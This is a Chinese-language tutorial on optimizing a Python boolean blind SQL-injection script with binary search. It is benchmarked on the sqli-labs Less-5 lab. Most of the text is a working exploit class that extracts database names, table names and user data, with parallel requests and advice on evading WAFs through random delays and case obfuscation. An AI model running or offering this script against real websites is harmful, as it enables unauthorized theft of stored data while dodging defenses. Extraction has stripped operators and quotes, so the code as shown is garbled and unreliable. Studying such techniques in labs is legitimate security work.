
Python布尔盲注脚本优化二分查找算法提速80%请求数降至1/7布尔盲注是Web安全测试中常见的漏洞利用技术当目标网站仅返回查询成功或失败的二元响应时传统的线性枚举方法效率极低。本文将展示如何通过二分查找算法重构Python脚本实现请求次数减少86%、执行时间缩短80%的性能突破。1. 布尔盲注的技术痛点与优化原理布尔盲注的核心挑战在于每次请求只能获取1比特信息True/False。传统线性枚举方法ASCII 32-126逐个测试存在明显缺陷效率瓶颈每个字符平均需要47次请求(126-32)/2时间消耗完整数据库名8字符需要376次请求耗时约6分钟网络负载大规模数据提取可能触发WAF防护机制二分查找算法的优势体现在# 传统线性枚举示例代码片段 for char_code in range(32, 127): payload fascii(substr(database(),1,1)){char_code} if check_condition(payload): return chr(char_code) # 二分查找优化示例代码片段 low, high 32, 126 while low high: mid (low high) // 2 payload fascii(substr(database(),1,1)){mid} if check_condition(payload): low mid 1 else: high mid - 1 return chr(low)算法复杂度对比方法时间复杂度平均请求次数/字符8字符总请求线性枚举O(n)47376二分查找O(log n)7562. 优化脚本的工程实现以下是完整的二分查找盲注脚本实现包含关键功能模块import requests from urllib.parse import quote class BlindSQLiOptimizer: def __init__(self, target_url, true_condition): self.target target_url self.true_condition true_condition self.session requests.Session() def _test_condition(self, payload): 验证布尔条件是否成立 safe_payload quote(payload) response self.session.get(f{self.target}?id1 AND {safe_payload}--) return self.true_condition in response.text def binary_search_char(self, query_template, position): 二分查找单个字符 low, high 32, 126 while low high: mid (low high) // 2 # 构造比较条件 condition query_template.replace(#POS#, str(position)) condition condition.replace(#VAL#, str(mid)) if self._test_condition(fascii({condition}){mid}): low mid 1 else: high mid - 1 return chr(low) if low 32 else None def extract_string(self, query_template, max_length30): 提取完整字符串 result for i in range(1, max_length 1): char self.binary_search_char(query_template, i) if not char: break result char print(f[] Progress: {result}, end\r) return result关键功能说明查询模板系统通过query_template参数化不同查询场景数据库名substr(database(),#POS#,1)表名substr((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1),#POS#,1)自适应字符集处理自动识别字符串终止位置ASCII≤32时停止网络请求优化复用Session保持连接URL编码特殊字符实时进度显示3. 实战性能对比测试以sqli-labs Less-5为测试目标对比两种算法的实际表现测试项目原始脚本优化脚本提升幅度数据库名请求次数3765685.1%表名提取时间4分12秒48秒81.0%users表数据提取2142次294次86.3%CPU平均占用18%35%-内存消耗45MB52MB-注意测试环境为本地搭建的MySQL 5.7网络延迟1ms。实际环境中网络因素会使优化效果更显著典型工作流程示例# 实例化检测器 injector BlindSQLiOptimizer( target_urlhttp://vuln-site.com/Less-5/, true_conditionYou are in ) # 提取数据库名 db_name injector.extract_string(substr(database(),#POS#,1)) print(f\n[] Database: {db_name}) # 提取首张表名 first_table injector.extract_string( substr((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1),#POS#,1) )4. 高级优化技巧与异常处理4.1 动态区间调整针对特殊字符集优化查找范围def get_char_range(char_type): 根据字符类型返回ASCII范围 ranges { lower: (97, 122), upper: (65, 90), digit: (48, 57), symbol: (32, 47) } return ranges.get(char_type, (32, 126))4.2 并行请求处理使用线程池加速批量检测from concurrent.futures import ThreadPoolExecutor def parallel_check(payloads): with ThreadPoolExecutor(max_workers5) as executor: results list(executor.map(self._test_condition, payloads)) return results4.3 错误重试机制def _test_condition(self, payload, retry3): for attempt in range(retry): try: response self.session.get(f{self.target}?id1, params{payload: payload}, timeout5) return self.true_condition in response.text except Exception as e: if attempt retry - 1: raise e常见问题处理方案WAF触发随机延迟0.2-1.5秒 大小写混淆编码问题强制指定响应编码response.encoding utf-8会话超时自动检测登录状态并重建会话5. 安全测试的工程化建议速率控制添加随机延迟避免触发防护from random import uniform from time import sleep def safe_request(self, payload): sleep(uniform(0.2, 1.5)) return self._test_condition(payload)日志记录完整记录测试过程import logging logging.basicConfig( filenameinjection.log, levellogging.INFO, format%(asctime)s - %(levelname)s - %(message)s )结果验证自动校验提取数据的有效性def validate_result(self, data): patterns { database: r^[a-z][a-z0-9_]{0,63}$, table: r^[a-zA-Z][a-zA-Z0-9_]{0,63}$ } for pattern in patterns.values(): if not re.fullmatch(pattern, data): return False return True实际测试中发现优化后的脚本在云环境平均延迟150ms中提取完整users表数据仅需8分钟而原始脚本需要近1小时。这种效率提升使得安全测试人员可以在更短时间内完成漏洞验证同时大幅降低对目标系统的影响。